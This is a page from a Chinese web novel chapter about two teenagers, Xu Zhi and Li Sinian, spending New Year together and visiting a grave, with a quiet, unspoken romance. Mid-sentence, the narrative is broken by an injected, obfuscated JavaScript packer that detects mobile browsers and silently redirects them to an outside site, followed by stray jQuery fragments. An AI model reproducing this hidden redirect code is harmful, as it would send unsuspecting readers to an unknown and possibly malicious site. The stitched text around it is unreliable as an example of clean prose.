庄小游 作品

56.生日(第2页)

    英俊的少年脸上挂满冰霜,一身恨不得将天花板掀开的桀骜不驯,却还是咬牙按捺住了怒火,极有教养的没有立刻将许茜和他赶出门去、甚至连发火的话都是冤有头债有主地对着李宇说。

    那个径直走上楼梯的背影,深深刻在了许之眼里。

    或许从那时开始,他就已经没有办法忽略他的存在了。

    但遗憾的是,这偏偏是自己最没有可能触碰的一个人。

    在层层叠叠的烟花光芒中,热烈喧嚣的跨年氛围里,许之的心变得很安静,他闭上眼,再次默念刚才许下的生日愿望——

    希望李斯年一生平安顺遂,长寿喜乐。

    -

    除夕夜看完烟花回去后,就差不多零点了,李斯年将饺子一起拿到梁芷家里煮,四个人听着电视里的倒计时吃完了饺子。

    孙家娟拿出早就准备好的三个红包,连许之的份也有,这其实是他有生以来第一次收到压岁钱,他面上没表露出什么,笑着道谢后,暗暗心怀感激的接下了。

    夜深了,许之这时候再回自己的住处未免显得这个除夕夜太过寂寥收尾,于是李斯年以“反正床还没收拾,被褥都是现成的”为理由,又拉许之回出租屋。

    次日大年初一,二人都睡到了自然醒,煮了一锅热乎乎的饺子,又给小白热了不掺水的猫饭,两人一猫都吃得很满足。

    收拾完碗筷,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473283|168693||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    李斯年问:“我想去墓园看看郑秀,一起吧。”

    “不太方便吧。”许之以为他只是礼貌性的邀请,自己若真是答应,说不定会显得唐突,“你去吧,我也该回去了。”

    李斯年一笑:“这有什么不方便,我妈人很好的,特别讲道理,不会因为你妈妈是谁而不喜欢你的。”

    他都这么摊开来说了,许之心中微妙的隔阂也就自然的消散。

    他越来越发现李斯年好像就是有这样的魔力,他的坦荡无处不在,却完全没有攻击性,只有真诚,和这样的人相处,应该很难有长久的冷战发生。

    就好像上次因为替考,二人吵得最狠的那一架,最后也是由李斯年主动找由头破冰。

    以后若是谁能被李斯年喜欢、成为他的伴侣,该多么幸福且有安全感啊。

    这样的想法从许之脑海闪过,他警觉一瞬,强迫自己不要再想。

    最近是怎么了,李斯年对他越好,他就越忍不住想这些事,就像是被骄纵坏了的小孩,得寸进尺的渴望那些不该得到、也不会得到的东西。

    这样仗着友谊做遮掩所维持的关系,让许之时常觉得自己有些卑鄙。

    李斯年若有一天知道自己当成好兄弟对待的人,其实分分秒秒、桩桩件件都试图在友谊中体验爱意,恐怕也会觉得有点膈应吧?

    打出租车去墓园太贵,李斯年还是决定多转几趟公交车,虽然最后的下车点离目的地也还有些距离,还好今天天气不错,就当散步也好。

    大年初一,沿路的花店都没开门,李斯年想给郑秀带束花的愿望落空。

    不过他没有失落太久,而是在路边陆续摘了些狗尾巴草,编成了一个花环和一个非常简易的拉锯小玩具。

    “我妈小时候经常编这些,逗我和糯糯玩。”李斯年把花环放在许之头上比划了一下,然后放了上去,满意的笑:“好久没编了,我可真是宝刀不老啊!”

    许之也没躲,任由花环旁边伸出的狗尾巴将自己头发弄乱,只是安静的笑。

    秋冬的狗尾巴草不再是嫩绿色,而是近乎干枯的褐色,它们被李斯年一根一根互相交织簇拥,最后编织为一股绳,反而将那种枯萎感拧成了坚韧。

    这和许之性格里某些东西奇妙的契合了,戴在他头上,令他看起来有种不自知的、被大自然赋予的野性与生命力。

    “长得好看就是可以为所欲为啊。”李斯年故意用酸溜溜的语气掩盖心中的悸动,“换做其他人,十七八岁戴这种东西只会显得幼稚,但到你头上却很合适。”

    许之又是一笑,将花环从自己头上拿下来,给李斯年戴上,左看看右看看:“你戴着也不错。”

    “真的?”李斯年心里一乐,难得许之会夸他。

    “真的——”许之顿了顿,笑意里带了些戏谑,“我大概猜得到你小时候是什么样了。”

    “那不还是幼稚的意思嘛!”李斯年瞪着眼,“我看你现在都会拐着弯损人了,学坏了。”

    许之也跟着笑,李斯年装作生气的哼哼两声,加快步伐,走到前面去了。

    此时差不多到了下午四点,太阳倾斜了角度,却不减光芒,从二人正前方洒下。

    李斯年头上的狗尾巴花环尚未取下,连同他高大挺拔的身形都被勾勒出一圈金色的线条。

    许之忽然想起之前在垃圾中转站,李斯年非要拉着他去医院打破伤风针的那天。

    那天的斜阳也是这样的。

    许之鬼使神差的掏出手机,调了静音,对着李斯年的背影,按下快门键。